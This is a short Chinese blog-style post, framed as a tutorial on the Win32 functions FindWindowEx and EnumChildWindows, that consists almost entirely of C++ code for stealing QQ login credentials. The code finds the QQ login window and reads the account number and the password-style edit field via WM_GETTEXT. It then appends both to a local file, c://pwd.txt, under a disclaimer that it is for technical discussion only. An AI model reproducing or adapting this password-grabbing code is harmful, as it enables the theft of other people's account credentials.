關于FindWindowEx和EnumChildWindows結合枚舉任何一個控件的簡單示例,以下代碼以現在最為流行的qq為例,隻抛磚引玉~~呵呵
申明:本文章僅從技術角度讨論這兩個函數的使用方法,任何人可以自由傳播/複制,但不得用做其他非法用途,否則責任自負.
BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq視窗,調用這個過程枚舉控件,得到密碼和号碼
char num[11];//qq号碼
char pwd[20];//qq密碼
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉清單句柄
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号碼文本框句柄
//以下循環是得到密碼框句柄
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//這個api很有用,可以得到很多東西
if( (lStyle & ES_PASSWORD))//如果有密碼屬性,就是密碼框
{
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通過WM_GETTEXT取得,視窗中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//記錄号碼和密碼
CString str;
str.Format("/r/n号碼:%s 密碼:%s",num,pwd);
CFile f;
f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop= false;
return false;
return TRUE;
}
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{ //這個回調函數就是用來找到qq視窗句柄
char strTitle[80];
if(::GetWindowText(hwndChild,strTitle,80))
if(strstr(strTitle,"QQ密碼")!=0)//如果标題中有"QQ密碼"字串,就視為找到
{
bFindqq = true;
return false;
}
return TRUE;
}
//調用的代碼:
HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
HWND AfterHwnd = NULL;
while(!bFindqq)//bFindqq是一個全局變量,标志是否找到了qq視窗
{
hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
if(!hwnd)
break;
AfterHwnd = hwnd;
EnumChildWindows(hwnd,EnumChildProc,NULL);
if(bFindqq)
qqHwnd = hwnd;
}
if(bFindqq)
EnumChildWindows(hwnd,EnumqqChildProc,NULL);